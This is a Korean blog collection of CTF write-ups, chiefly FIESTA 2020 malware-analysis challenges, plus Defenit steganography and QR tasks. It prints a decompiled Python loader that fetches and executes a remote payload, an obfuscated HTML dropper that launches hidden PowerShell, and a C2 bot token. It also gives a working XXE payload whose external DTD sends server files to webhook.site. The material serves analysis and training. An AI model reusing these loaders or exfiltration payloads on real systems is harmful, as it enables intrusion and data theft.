docx 파일을 zip으로 만들고 열어보면 flag.png를 찾을 수 있다.

Rename .docx to .zip and then open it, you can find flag.png

 

청크 이름의 대소문자를 바꿔놓았다. 다 수정해주면 정상적으로 이미지를 확인할 수 있다.

Recover chunk names.

png -> PNG

Srgb -> sRGB 등.. ect...

 

GNP

 

 

ff d9 jpg 푸터 시그니쳐 뒤에 png 파일이 뒤집어 있다.

It's reversed!!

 

잘라내서 뒤집고

< flag.png xxd -p -c1 | tac | xxd -p -r > file.png

 

stegsolve.jar로 보면 문자열이 나온다.

 

 

Affine Cipher 돌리면 플래그가 나온다. (GUESSING!!!!)

 

www.dcode.fr/affine-cipher (AUTOMATIC BRUTE FORCE DECRYPTION)

 

 

 

 

Dark light (not full wirte-up)

 

 

파일 여러개가 붙어있다.

foremost를 사용해서 분리해주었다.

 

 

 

 

qr code 9개가 나오는데 값을 보면,

 

sorry_this_is_not_a_flag

do_you_want_a_flag?

do_you_know_Korean_proverb?

어둡다.

h4c(f4c3_f_a_k_e)

 

뭘까?

hmm hmmmmmmmmmmmmmmm

 

 

 

 

 

 

message from space (not full wirte-up)

 

wav가 주어지는데, sstv 문제다.

 

github.com/MossFrog/SSTV-Decoder/blob/master/SSTV-Complete.py

 

MossFrog/SSTV-Decoder

An SSTV decoder created using python. The input files consists of 8 second frequency modulated transmissions. - MossFrog/SSTV-Decoder

github.com

 

 

디코딩 해주면 이런 이미지가 나온다.

Password : HangulDay

 

어디다 써먹는 걸까

Where can i use it... :(

 

 

14461009

 

한글 단순 치환 암호이다.

Hangul simple substitution cipher.

 

1446년 10월 09일, 'ㆍ','ㅛ','ㅕ' 이 부분을 보면 한글 창제와 관련이 있는 내용으로 보인다.

 

치환 코드는 이 것을 이용했다.

j0n9hyun.xyz/writeups/crypto/Korean-substituation-cipher/

 

한글 단일 치환 암호

한글 단일 치환 암호 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374# coding: utf-8def divide_char(char): num = ord

j0n9hyun.xyz

 

 

필,켜,녈뇩 -> 천,지,인을   부터 시작하면 된다.

 

 

어느 정도 게싱으로 때려맞춰보면, 마지막에 문제를 확인할 수 있다.

 

 

해당 문제에 대한 답을 주어진 서버로 넘겨주면 플래그를 받을 수 있다.

 

반응형

'CTF Write Up' 카테고리의 다른 글

2020 Christmas CTF [show me the pcap] Write-up  (2) 2020.12.27
CyberTalents Digital Forensics CTF write up  (0) 2020.11.29
CCE2020 Quals Write-up  (0) 2020.09.26
FIESTA 2020 Write up  (2) 2020.09.07
2020 Defenit CTF Write Up  (2) 2020.06.06
반응형

forensic

keyboord

100

 

usb keyboard 패킷 캡쳐 파일이다.

github.com/TeamRocketIst/ctf-usb-keyboard-parser

 

TeamRocketIst/ctf-usb-keyboard-parser

This is the updated script from https://teamrocketist.github.io/2017/08/29/Forensics-Hackit-2017-USB-ducker/ - TeamRocketIst/ctf-usb-keyboard-parser

github.com

이거 이용해서 hex 데이터를 키보드 문자로 변환해준다.

 

해당 키보드로 c코드를 작성한 것 같다.

 

코드 작성해도 돌려주면 플래그가 나온다.

 

 

webpacket

100

웹소켓으로 id와 pw를 인증하는 과정이 있다.

 

id pw를 입력받는 페이지에서 인증서버로 인증을 거치는 것이라고 추측해볼 수 있다.

 

따라서 http 패킷 중에서 websocket발생 이전 패킷들을 살펴보았다.

찾았다.

13.209.132.135:4423으로 이동하였다.

 

login.js를 보면, 패스워드를 인코딩한다. xor이기 때문에 인코딩 함수를 그대로 사용하여 복호화하였다.

pw가 flag였다.

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

CyberTalents Digital Forensics CTF write up  (0) 2020.11.29
제 2회 TeamH4C CTF 2020 Write-up  (0) 2020.10.13
FIESTA 2020 Write up  (2) 2020.09.07
2020 Defenit CTF Write Up  (2) 2020.06.06
angstrom CTF 2020 write up  (0) 2020.03.14
반응형

금융보안원 금융보안 위협분석 대회

TEAM : N0Named

 

fiesta.fsec.or.kr/

 

FIESTA 2020

금융보안 위협분석 대회 FIESTA 2020 Financial Institutes' Event on Security Threat Analysis 최 종 순 위 FIESTA2020 시상식 일정 일 시 : 2020. 11. 2. (월) 14:00 ~ 15:00 장 소 : 금융보안원 교육센터 (서울시 영등포구 의

fiesta.fsec.or.kr

 

Stepin-1

수상한 문서 파일이 전송되었다 ! 해당 문서 파일을 분석하여라 !
대상 환경 : Windows 10 Education, Build 18362.1016

세부문제1

악성 exe가 생성되는 전체 경로를 적으시오. (파일 이름, 확장자 포함)
예시 ) FIESTA2020{C:\Ex\Path\filename.exe}

 

doc파일이 주어진다.

 

매크로를 확인하기 위해 편집사용 클릭 후 보기 > 매크로 > 매크로 보기 에서 편집을 눌렀는데 에러가 났다.

 

 

컨텐츠 사용을 클릭하였더니 런타임 오류가 나고, 디버그를 클릭하였더니 Project 암호 입력 창이 나왔다.

 

 

 

이 인증 과정을 우회해주기 위해서 .doc 파일을 hex 에디터로 연 뒤, DPB값을 찾아준다.

이 DPB를 DPX로 바꿔주고 .doc를 열어준다.

 

 

 

다시 매크로> 매크로 보기 > 편집 으로 들어가니 잘 들어가졌다.

 

 

 

 

디버깅을 통해서 악성 exe가 생성되는 전체 경로를 찾을 수 있다.

 

 

 

v3rypog

김다원 연구원은 최근 수상한 메일을 수신한 적이 있어 본인이 사용하던 PC를 확인한 결과, 의심스러운 파일을 발견했다.
의심 파일을 분석하는 과정에서 pyc 파일 까지는 획득했으나, 이후 분석을 못하고 있는 상황이다.
분석을 통해 공격을 막을 수 있는 FLAG 를 획득하시오.

 

v3rypog-1

C&C 통신하는 서버 전체 주소값
입력 형식 : http:// 를 포함한 전체 주소값

v3rypog.pyc파일이 주어진다.

 

 

해당 파일을 hex로만 까봐도 주소값을 확인할 수 있다.

 

 

...

 

 

정석대로 pyc파일을 decompile해주자.

 

 

일단 pyc의 헤더값은 0x42 0x0d 이다. 0x0d42 = 3394,

 

github.com/google/pytype/blob/master/pytype/pyc/magic.py  

 

google/pytype

A static type analyzer for Python code. Contribute to google/pytype development by creating an account on GitHub.

github.com

즉 python3.7 버전에서 작성되었다는 것이다.

 

pyc 디컴파일에는 uncompyle6를 사용하면 된다. python3.7을 지원하는 uncompyle6 최신버전을 설치하고

 

pypi.org/project/uncompyle6/

 

uncompyle6

Python cross-version byte-code decompiler

pypi.org

 

 

디컴파일 해주면,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ uncompyle6 v3rypog.pyc
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.6.9 (default, Jul 17 2020, 12:50:27) 
# [GCC 8.4.0]
# Embedded file name: /private/tmp/v3rypog.py
# Compiled at: 2020-09-02 11:26:20
# Size of source mod 2**32: 2002 bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from threading import Timer
import getpass, hashlib, os, datetime, time, base64, json, marshal, types, string, sys, requests
big2 = '\n __      ______  _______     _______   ____   _____ \n \\ \\    / /___ \\|  __ \\ \\   / /  __ \\ / __ \\ / ____|\n  \\ \\  / /  __) | |__) \\ \\_/ /| |__) | |  | | |  __ \n   \\ \\/ /  |__ <|  _  / \\   / |  ___/| |  | | | |_ |\n    \\  /   ___) | | \\ \\  | |  | |    | |__| | |__| |\n     \\/   |____/|_|  \\_\\ |_|  |_|     \\____/ \\_____|\n'
PAYLAOD = requests.get('http://54.180.11.70/e.php').text
EXPLOIT = '{"iv": "XRUNPPQYG4Y5n53MZJo2AQ==", "ct": "' + PAYLAOD + '" }'
timestamp = '1585094400'
 
def aes_enc(data, key):
    cipher = AES.new(key, AES.MODE_CBC)
    ct_bytes = cipher.encrypt(pad(data, AES.block_size))
    iv = base64.b64encode(cipher.iv).decode('utf-8')
    ct = base64.b64encode(ct_bytes).decode('utf-8')
    result = json.dumps({'iv':iv,  'ct':ct})
    return result
 
 
def aes_dec(enc_result, key):
    b64 = json.loads(enc_result)
    iv = base64.b64decode(b64['iv'])
    ct = base64.b64decode(b64['ct'])
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plain = unpad(cipher.decrypt(ct), AES.block_size)
    return plain
 
 
def key_num(tstamp):
    tm_stmp = int(tstamp)
    tsmp = datetime.datetime.fromtimestamp(tm_stmp).strftime('%Y%m%d')
    dt = int(tsmp[5:7])
    dt += int(tsmp[2]) * int(int(tsmp[0:2]) / int(tsmp[7])) * (int(tsmp[6]) + int(tsmp[7]))
    dt ^= int(tsmp[6:8])
    dt = dt + 0
    return dt
 
 
if __name__ == '__main__':
    if getpass.getuser()[0== 'd' and getpass.getuser()[2== 'k':
        user_key = getpass.getuser()
    else:
        exit()
    i = key_num(timestamp)
    x = bytes((i ^ j ^ x for j, x in enumerate((timestamp + '_' + user_key).encode('ascii')[:16])))
    dec = aes_dec(EXPLOIT, x)
    exploit_code = marshal.loads(dec)
    exec_exploit = types.FunctionType(exploit_code, globals(), 'payload')
    exec_exploit()
# okay decompiling v3rypog.pyc
 
cs

소스코드를 확인할 수 있다.

 

v3rypog2,3

 

그러나 위 코드로 브포를 돌려보면 의미있는 값이 나오지 않는다.

다시 pyc코드를 살펴보면 코드가 평문으로 들어가있는게 있다. 해당 부분 주석처리하고 다시 코드 돌려주면 의미있는 값을 구할 수 있다.

 

 

 

SharperGram

금융보안원에 재직중인 A씨는 평소 여행을 좋아하여 외국으로 여행을 자주 다니는 편이다. 
올해도 마찬가지로 여행 계획을 세우는 A씨는 최근 항공사로부터 항공권 관련 메일을 받게 되었고, 메일의 첨부파일을 확인한 A씨는 얼마 지나지않아 자신의 메일 계정 정보등이 유출된 사실을 알게되었다. 
A씨의 정보가 어떻게 유출되었는지 메일을 분석하시오.

SharperGram-1

메일 최초 발신자 IP, 도메인과 해당 도메인의 최초 등록자 정보를 조사하시오. (발신IP_발신도메인_도메인등록자이름(공백없이)_도메인등록국가코드) e.g.) 0.0.0.0_domain.tld_JohnSmith_KR

 

eml 파일이 주어진다. Outlook으로 열 수 있는데 발신자는 ticket-mailer@discountbok.com 이다.

 

-도메인 : discountbok.com

 

 

eml파일을 HxD로 열어서 해당 도메인을 검색하면 ip주소를 찾을 수 있다.

 

 

- ip주소 : 184.168.221.37

 

 

그리고 도메인의 최초 등록자 이름과 국가를 구하기 위해서 아래 사이트에 도메인을 검색해보았다.

 

 

whois-history.whoisxmlapi.com/lookup-report/x923eoolk7

 

 

discountbok.com | WHOIS History Lookup | WhoisXML API

discountbok.com lookup report. Uncover domain name history using WHOIS History Lookup and access 10+ years of WHOIS data with all recorded information on past owners and registrars.

whois-history.whoisxmlapi.com

2015년 7월 기록에서 이름과 국가를 찾을 수 있다.

 

flag : 184.168.221.37_discountbok.com_LannyTyndall_CN

 

SharperGram-2

추가 악성코드 다운로드 주소 및 저장되는 위치를 조사하시오.
저장되는 위치는 사용자마다 다르므로, 사용자명 이후의 경로부터 서술 (악성코드 유포지_저장경로)
e.g.) http://0.0.0.0/uri/dedf?a_\Dir\Dir2\filename.ext

 

 

해당 메일 첨부파일에는 i-Ticket.xls 엑셀 파일과 해당 엑셀 파일의 패스워드가 적힌 이미지 파일이 있다.

 

xls파일을 다운받아 실행한다. 패스워드를 입력해주고, 악성코드가 실행될 수 있도록, 편집 사용 -> 컨텐츠 사용을 차례로 눌러준다.

 

 

이후 분석이 간편하도록 파일 잠금을 해제한다.

파일 > 정보 > 통합 문서 보호 > 암호 설정 에서 암호 전부 지우고 확인

 

매크로를 확인하기 위해 보기> 매크로 > 매크로 보기 로 이동하였으나, 보이는 매크로는 없었다.

 

 

이미지를 클릭해보면 좌측상단에 러시아어3가 보인다. 

 

asec.ahnlab.com/1232

 

[주의] 국내 기업을 대상으로 대량 유포되는 엑셀 파일 분석 - Ammyy 원격제어 백도어와 Clop 랜섬웨

최근 국내에서 가장 이슈가 되는 타겟형 공격은 기업을 대상으로 유포되고 있는 Ammyy 원격제어 백도어와 이를 통해 설치되는 Clop 랜섬웨어이다. 백도어 파일은 온라인에 공개되어�

asec.ahnlab.com

위 내용과 유사하다.

 

최하단 Sheet1을 우클릭하여 코드보기를 클릭하면 저장된 매크로 코드를 확인할 수 있다.

 

코드를 분석해보면, 추가 악성코드 파일을 다운받아오는 서버 주소와, 다운로드 경로를 확인할 수 있다.

Application.StartupPath 는 디버깅을 통해서 찾을 수 있었다.

 

 

flag : http://54.180.66.177/xe_\AppData\Roaming\Microsoft\Excel\XLSTART\nc.exe

 

SharperGram-3

악성코드가 C2와 통신할 때 사용하는 토큰과 채널, 그리고 암호화 키값을 조사하시오.
(토큰값_채널값_암호화키값)
e.g.) token_channel_key

 

이제 위에서 다운받은 nc.exe를 분석하는 단계이다.

 

nc.exe를 실행하게 되면 유저 폴더에 .txt 파일이 생성되며 유저가 입력한 키 값을 저장하고 .fiesta 확장자로 바뀌며 암호화 되는 과정을 반복하는 것을 확인할 수 있다.

 

 

 

 

nc.exe는 ConfuserEx로 패킹이 되어 있다. 

ConfuserEx 언패킹 도구로 nc.exe를 언패킹 해주면 

 

 

이렇게 분석할 수 있는 상태가 된다.

 

.NET으로 작성되었으므로 dnSpy를 사용하여 디버깅 해주도록 한다.

 

 

리퀘스트를 날리는 부분인데, 이곳에 bp를 걸어서 url값과 password 값을 알아내면 된다.

 

텔레그램 봇 url이 나오는데, bot: 이후가 봇의 토큰값이다.

 

token : 1156639839:AAELhN58xW07HE7pTwV0hLep_goctDXN4CE

채널 : 483139644

키 : F13stA-e0e0-k3y

 

flag : 1156639839:AAELhN58xW07HE7pTwV0hLep_goctDXN4CE_483139644_F13stA-e0e0-k3y

 

 

 

 

 

PowerShellcode

A사의 침해대응 담당자인 김과장은 다수의 사내 PC에서 부팅시 업데이트 알림이 뜬다는 신고를 받고 조사에 착수한 결과, 수상한 파워쉘 실행 로그를 확인했다. 발견된 파워쉘 스크립트를 분석하시오.

PowerShellcode-1

악성 스크립트는 특정 타겟을 대상으로 동작한다. 타겟을 분석하여 첫번째 플래그를 획득하시오. (타겟도메인_타겟국가_동작시점, ex: test.com_japan_20201231)

 

.ps1으로 된 파워쉘 코드가 주어진다.

 

난독화가 되어 있다.

 

잘 복호화하다보면 ps코드를 외부에서 하나 더 다운받아온다.

그 코드를 다시 복호화해보면 의미있는 값을 찾을 수 있다. 

 

flag : secuholic.com_korea_20200707

 

PowerShellcode-2

악성 스크립트는 최초 감염시 C2서버에 전송할 수 있는 명령어 목록을 받아온다. 명령어 목록을 분석하여, 두번째 플래그를 획득하시오.

 

코드 분석해보면 또 코드 외부에서 받아서 실행하는 코드가 있다.

 

코드 복호화 해보면서 실행흐름을 따라가 보면,

c2서버와 통신하는 루틴이 나온다.

 

apitester.com/

 

API Tester

Note that by creating a share link, you will be making this test configuration accessible to anyone with the link. Please do not share sensitive information in this manner.

apitester.com

 

받아온 명령어는 : infect, getmsg, getflag 이고

사용한 명령어는 : IRIMFxIi, GwceHyIP 이다.

 

코드 돌려보니 맞았다.

 

그래서 getflag를 위 루틴으로 인코딩 후 리퀘

 

 

파워쉘 코드를 얻을 수 있는데, 그대로 파워쉘에 입력하면, MsgBox 형태로 flag가 출력된다.

PowerShellcode-3

 

C2서버에서 data에 전달되는 xml값을 파싱한다. 여기에 취약점이 있고, xxe를 시도해 보았다.

 

payload : 

1
2
3
4
5
6
7
8
command=IRIMFxIi&sec=fiesta2020&data=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://255.255.255.255/ext.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
cs

(255.255.255.255에는 개인 서버 주소)

 

 

 

ext.dtd :

1
2
3
4
5
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'https://webhook.site/비밀/?p=%file;'>">
<!ENTITY var "%file;">
%eval;
%error;
cs

 

이렇게 하면 index.php의 소스코드를 릭할 수 있다.

 

 

 

index.php에서 ./_readme_only_admin.php에 플래그가 있는 것을 알려준다.

 

 

_readme_only_admin.php의 소스코드를 릭해보면:

1
2
3
4
5
6
7
8
9
10
<?php
 
$flags = shell_exec('flags2');
 
if ($_SERVER['REMOTE_ADDR']!='127.0.0.1') {
    echo "you are not admin!!";
else {
    echo $flags;
}
?>
cs

 

 

ext.dtd :

1
2
3
4
5
<!ENTITY % file SYSTEM "http://127.0.0.1/_readme_only_admin.php">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'https://webhook.site/비밀/?p=%file;'>">
<!ENTITY var "%file;">
%eval;
%error;
cs

flag 값을 구할 수 있었다.

 

(응답서버로 값이 넘어 온 것은 아니고, c2서버 response에서 오류메세지에 플래그가 같이 딸려 나왔다.)

 

 

 

 

 

PayDay

금융회사 임직원 A씨는 여느 달과 같이 카드 이용 대금명세서 메일을 수신하였고 결제금액 및 상세 이용내역을 확인하기 위해 첨부문서(html)를 열람하였다. 보안 프로그램을 설치하고 생년월일을 입력하려는 순간 화면이 잠기고 키보드가 먹통이 되어 PC를 사용할 수 없게 되었다. 이를 해제하기 위해서는 Flag값을 입력해야 한다는 메시지박스가 생성되었다.

A씨는 즉시 정보보호부에 피해 사실을 신고하였다. 정보보호부 내의 CERT 팀은 추가 피해를 방지하고 업무연속성을 유지하기 위해 분석 작업을 시작하였다.

PayDay-2

암호화된 쉘코드를 실행하기 위해 C2 서버에서 수신한 문자열을 일련의 루틴을 거친 후 AES 복호화에 사용하는데, 이 때 사용되는 키값은? (0x 제외하고 Hex값 형태로 입력)

 

 

html 파일이 하나 주어진다.

 

코드를 정렬해주었다. (2번 문제를 푸는데에 상단 코드의 내용은 필요 없어서 제외했다.)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
function a() {
    try {
        var _0x34a867 = document['getElementById']('smime_body')['value'];
        var _0x59abc8 = Decode(_0x34a867);
        var _0x5683a6 = new Blob([_0x59abc8], {
            'type''application/octet-stream'
        });
        var _0x340994 = saveAs(_0x5683a6, '_Secure.msi');
        if (_0x340994 == ![]) {}
    } catch (_0x463d54) {}
}
 
function b() {
    try {
        var f = new ActiveXObject("Scripting.FileSystemObject");
        var fn = f.GetSpecialFolder(1+ "\\WindowsPowerShell\\v1.0\\powershell.exe";
        var a = "BWlucR0Le2AaYz44KQ==";
        var s = f.GetSpecialFolder(2+ clue(a);
        if (f.FileExists(fn)) {
            f.CopyFile(fn, s);
            return true;
        } else {
            return false;
        }
    } catch (e) {
        return false
    }
}
 
function c() {
    var f = new ActiveXObject("Scripting.FileSystemObject");
    var a = "BTYJZG98fGFhCGdhaQgIeG11D2x0DHNtYWALEW5/fBFreHsWbgg3";
    var b = "BTYJE25+fxBhe2cTGnR4eG0OC2B0dH4WamAIYxt0C2IcDH1kYH03";
    var c = "BTYIbB8IemIcf2dmbAxyeG0Lf2x0D31hamAMYm90fRMbeHMRa3o3";
    var d = "BTYJZR99C2QffGdhb3V9eG16DG10DAtlYGAPF2F/cmAddHgUaQ83";
    var e = "BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3";
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(a))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(a));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(b))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(b));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(c))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(c));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(d))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(d));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(e))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(e));
    }
}
 
function d() {
    var a = "BWlucR0Le2AaYz44KQ==";
    var b = "BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3CX1pbhEffH8WdygyMA==";
    var c = "eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3VxAy8idAIoPzwuPnUKNDkhPCBkGzw5ZAI8Lwk5MCgkIXBjDjouIyY6OCkMPDUoYnIxOT4lY2JlYGtjfWx3e3x7YXtleigbBWJrCDkQYSt7FAsGAC0dJz45MQ8TJxgMMmUfdT0PHB16HBA0DRsNGAUYFQgMIy8rEmIJFBAEaD0QI2ksfmJvLH8FMSsEH2h0JCJoFBtiDiAHJyh7DjcSFDoYERc6Mg57fQw0PmV6KWMvLTxqZnV+aB4QFB1vCSIOehNpDHsTaGB+Y2F6Z2FuC3J4GAx6bHQICG1rdX8RYH8LZRswFisdC3gUb3UJezw1L3Jw";
    var d = "eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3V8GQ8YCWgWciJqCWUffQtkH3xnYW91fXhtegxtdAwLZWBgDxdhf3JgHXR4FGkPbSh+ETQRH38LY2EOZDAhKA==";
    var f = new ActiveXObject("Scripting.FileSystemObject");
    var s = new ActiveXObject("WScript.shell");
    var st = f.GetSpecialFolder(2+ clue(a);
    var sc = f.GetSpecialFolder(2+ clue(b);
    if (f.FileExists(st)) {
        f.CopyFile(st, sc);
    }
    var c = sc + clue(c);
    var d = sc + clue(d);
    s.run(c, 0true);
    s.run(d, 0true);
    f.DeleteFile(sc);
}
 
function get_version_of_IE() {
    var word;
    var version = "N/A";
    var agent = navigator.userAgent.toLowerCase();
    var name = navigator.appName;
    if (name == "Microsoft Internet Explorer") word = "msie ";
    else {
        if (agent.search("trident"> -1) word = "trident/.*rv:";
        else if (agent.search("edge/"> -1) word = "edge/";
    }
    var reg = new RegExp(word + "([0-9]{1,})(\\.{0,}[0-9]{0,1})");
    if (reg.exec(agent) != null) version = RegExp.$1 + RegExp.$2;
    return version;
}
 
window.onload = function() {
    var isSuccess;
    var verString = get_version_of_IE();
    var verNumber = parseInt(get_version_of_IE(), 10);
    var savePath;
    if (verString == "N/A") {
        alert("지원하지 않는 형식의 브라우져 입니다.\n 지원 가능한 브라우져 : Internet Explorer");
    } else {
        alert('정보유출 방지를 위해 하단에 생성되는 보안 프로그램을 설치 후에 입력해주시기 바랍니다.');
        a();
        c();
        b();
        d();
    }
}
 
function clue(a) {
    var b = "NTk0ZDRhNTU=";
    c = atob(b);
    var c = c.toString();
    var d = '';
    for (var i = 0; i < c.length; i += 2) d += String.fromCharCode(parseInt(c.substr(i, 2), 16));
    e = atob(a);
    f = '';
    for (i = 0; i < e.length; i++) {
        f += String.fromCharCode(e[i].charCodeAt(0).toString(10) ^ d.charCodeAt(i % d.length).toString(10));
    }
    return f;
}
 
function bC() {
    a();
}
cs

 

a, c, b, d 함수 순서대로 실행하는데, d 함수에 있는 변수들의 인코딩을 풀어보면, 

 

 

 

이렇게 나오게 되고, c변수를 보면, p.exe파일을 다운로드 받아오는 것을 알 수 있다.

 

 

해당 파일을 다운로드 받아 분석을 시작한다.

 

 

 

올리디버거로 열어서 문자열들을 확인해 보면, AES, CBC, url 등이 보인다.

 

이 프로그램에서 aes 복호화가 일어남을 알 수 있다.

 

 

 

ida에서 메인함수 마지막 부분을 보면, for문이 16번 돌고 마지막에 sub_402361 함수 하나를 실행하는 것을 볼 수 있다.

 

aes 키는 16바이트 임으로 위 for 루틴이 키 생성 과정이고 마지막 함수가 복호화를 하는 함수라고 유추해 볼 수 있다.

 

 

해당 함수를 콜하는 주소인 5bc4에 bp를 걸고 디버깅을 했다.

 

 

그리고 해당 함수에 인자로 넘어가는 값에서 키값을 확인할 수 있었다.

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

제 2회 TeamH4C CTF 2020 Write-up  (0) 2020.10.13
CCE2020 Quals Write-up  (0) 2020.09.26
2020 Defenit CTF Write Up  (2) 2020.06.06
angstrom CTF 2020 write up  (0) 2020.03.14
UTCTF 2020 Write up  (0) 2020.03.07
반응형

2020 Defenit CTF Write-up 6/5 09:00 ~ 6/7 09:00 (UTC, 48h)

 

 

 

Forensic

Baby Steganography

I heared you can find hide data in Audio Sub Bit. Do you want to look for it?

 

 

.wav 파일이 주어진다. 문제 지문을 보면 Audio Sub Bit에 데이터를 숨긴다고 한다.

 

Audio Sub Bit...

 

Sub Bit...

 

SB...

 

LSB?

 

LSB가 아닐까 생각을 해보고서 바로 구글링을 했다.

 

 

 

https://medium.com/@sumit.arora/audio-steganography-the-art-of-hiding-secrets-within-earshot-part-2-of-2-c76b1be719b3

 

Audio Steganography : The art of hiding secrets within earshot (part 2 of 2)

In this article we take a look at methods and tools along with code walk-through for performing Audio Steganography.

medium.com

Audio Steganography : LSB

 

 

포스트를 내리다보면 Python으로 작성된 Decode 코드가 있다. 바로 긁어다가 실행해 보았다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Use wave package (native to Python) for reading the received audio file
import wave
song = wave.open("problem", mode='rb')
# Convert audio to byte array
frame_bytes = bytearray(list(song.readframes(song.getnframes())))
 
# Extract the LSB of each byte
extracted = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]
# Convert byte array back to string
string = "".join(chr(int("".join(map(str,extracted[i:i+8])),2)) for i in range(0,len(extracted),8))
# Cut off at the filler characters
decoded = string.split("###")[0]
 
# Print the extracted text
print("Sucessfully decoded: "+decoded)
song.close()
 
cs

 

Sucessfully decoded: Defenit{Y0u_knOw_tH3_@uD10_5t39@No9rAphy?!}

 

결과는 대성공.

 

 

 

 


Misc

QR Generator

Escape from QR devil!

 

nc 연결을 하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Let's START!
 
< QR >
1 1 1 1 1 1 1 0 1 1 0 0 0 1 1 0 1 1 1 1 1 0 1 1 1 1 1 1 1 
1 0 0 0 0 0 1 0 1 0 1 1 1 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 1 
1 0 1 1 1 0 1 0 1 0 1 0 1 1 1 0 1 0 0 1 1 0 1 0 1 1 1 0 1 
1 0 1 1 1 0 1 0 1 1 0 0 1 1 0 1 1 0 1 0 1 0 1 0 1 1 1 0 1 
1 0 1 1 1 0 1 0 1 0 1 0 1 0 0 1 0 1 0 0 1 0 1 0 1 1 1 0 1 
1 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 1 
1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1 
0 0 0 0 0 0 0 0 1 1 1 0 1 1 1 0 0 0 1 1 1 0 0 0 0 0 0 0 0 
0 1 0 1 0 1 1 0 1 0 0 1 0 1 1 0 0 0 1 1 0 1 1 0 1 1 1 1 1 
0 1 1 1 1 1 0 1 1 0 1 1 1 1 0 0 0 0 1 1 0 1 0 0 1 1 0 1 1 
0 1 0 1 0 1 1 1 1 0 1 1 0 0 1 1 1 1 0 1 1 0 0 0 0 0 0 0 1 
1 0 1 0 1 0 0 1 1 1 0 0 1 0 0 0 0 1 0 0 0 0 0 1 1 0 0 0 1 
0 0 0 0 1 0 1 1 1 0 0 1 0 0 0 0 0 0 1 0 0 0 1 0 1 0 1 0 1 
1 1 0 1 0 1 0 0 1 0 1 0 0 0 0 0 1 1 1 0 1 0 1 0 1 0 1 0 1 
0 1 1 0 1 0 1 1 1 1 1 1 1 0 1 0 1 1 0 0 1 0 0 1 0 1 0 1 1 
0 1 1 1 1 1 0 1 1 1 1 0 1 1 1 0 1 1 1 1 1 0 1 0 1 0 1 0 1 
1 0 0 1 1 0 1 1 1 1 1 0 0 1 1 0 0 1 0 1 1 0 0 1 1 1 0 0 1 
1 0 0 1 0 0 0 0 1 1 0 0 1 0 0 0 1 0 0 0 1 0 1 0 0 1 0 0 0 
1 1 0 0 1 0 1 1 0 0 1 1 0 1 0 0 1 0 1 1 0 1 1 0 0 0 1 1 0 
0 0 1 1 0 0 0 0 0 0 0 0 0 1 0 0 1 1 0 1 0 0 0 1 0 1 0 1 1 
1 0 0 0 1 0 1 0 1 1 1 1 1 0 0 1 0 1 1 0 1 1 1 1 1 0 0 1 0 
0 0 0 0 0 0 0 0 1 0 1 0 0 0 1 1 0 0 1 1 1 0 0 0 1 0 0 0 0 
1 1 1 1 1 1 1 0 0 0 1 0 0 1 1 0 0 0 0 1 1 0 1 0 1 0 0 0 1 
1 0 0 0 0 0 1 0 1 1 1 1 0 1 0 1 1 1 0 0 1 0 0 0 1 1 1 1 0 
1 0 1 1 1 0 1 0 0 1 0 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 0 
1 0 1 1 1 0 1 0 1 0 1 1 1 1 1 1 0 0 0 1 1 0 0 1 0 1 1 1 0 
1 0 1 1 1 0 1 0 0 0 1 0 0 0 0 0 1 1 0 0 1 1 0 0 0 0 0 0 0 
1 0 0 0 0 0 1 0 1 0 0 0 0 1 0 1 0 0 0 0 1 1 0 0 0 0 1 1 0 
